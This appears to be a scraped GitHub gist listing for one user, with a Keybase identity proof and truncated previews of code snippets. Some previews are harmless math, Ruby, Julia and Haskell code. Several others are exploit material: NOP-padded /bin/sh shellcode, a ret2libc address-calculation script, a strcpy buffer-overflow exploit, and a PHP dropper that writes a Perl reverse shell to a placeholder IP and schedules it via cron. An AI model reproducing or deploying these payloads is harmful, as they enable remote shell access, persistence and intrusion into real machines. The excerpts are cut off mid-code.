I hereby claim:
- I am safiire on github.
- I am safiire (https://keybase.io/safiire) on keybase.
- I have a public key whose fingerprint is 06DC 5901 70E2 350A 4BCE 7C1D 9EFD 7244 59CC 7EB0
To claim this, I am signing this object:
| #pragma once | |
| #include <iostream> | |
| #include <cmath> | |
| #include <limits> | |
| #include "saf_math.h" | |
| //// Some more information for adding more functionality here: | |
| //// http://www.euclideanspace.com/maths/algebra/realNormedAlgebra/other/dualNumbers/functions/ |
I hereby claim:
To claim this, I am signing this object:
| require 'kleisli' | |
| def do_lots(count) | |
| (0..count).reduce(0){|sum, value| sum + value } | |
| end | |
| future = Future(100000000) >-> value { | |
| Future { | |
| do_lots(value.call) | |
| } >-> big_sum { |
| abstract PassiveComponent | |
| type Resistor <: PassiveComponent | |
| value::Complex{Float64} | |
| end | |
| type Capacitor <: PassiveComponent | |
| value::Complex{Float64} | |
| end |
| {-# LANGUAGE OverloadedStrings, DeriveGeneric #-} | |
| import Data.Text (Text) | |
| import Data.Aeson | |
| import GHC.Generics | |
| import qualified Data.ByteString.Lazy as B | |
| data Person = | |
| Person { first :: !Text | |
| , last :: !Text |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdint.h> | |
| #include <unistd.h> | |
| #include <sys/types.h> | |
| #include <sys/wait.h> | |
| /* | |
| * A fork() doesn't (and shouldn't) re-randomize the address space | |
| * but that happens properly after the exec() |
| #include <string.h> | |
| #include <sys/mman.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <string.h> | |
| // NOP padded execve("/bin/sh") | |
| char *sc = | |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| #!/usr/bin/env ruby | |
| # This is what we need to guess from ldd vuln | |
| ldd_load_address = 0xb75ba000 | |
| # Next get offset of system() and its address | |
| system_offset = 0x1e310 | |
| system_address = ldd_load_address + system_offset | |
| # Next get offset of /bin/sh from strings -d -tx libc.6.so, minus correction |
| <?php | |
| $perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'; | |
| $fp = fopen('/tmp/shell.pl', 'w'); | |
| fwrite($fp, "#!/usr/bin/perl\n"); | |
| fwrite($fp, $perl); | |
| fclose($fp); | |
| system('chmod 777 /tmp/shell.pl'); | |
| $hour = date('H'); | |
| $minute = date('i') + 1; // disgusting | |
| $fp = fopen('/tmp/add_cron.sh', 'w'); |
| #!/bin/bash | |
| # ASLR is on (stack, libs, vdso, etc) | |
| # execstack is on | |
| # .text segment is static, no pie | |
| # | |
| # #include <string.h> | |
| # | |
| # int dobug(char *arg) { | |
| # char buf[8]; | |
| # strcpy(buf, arg); |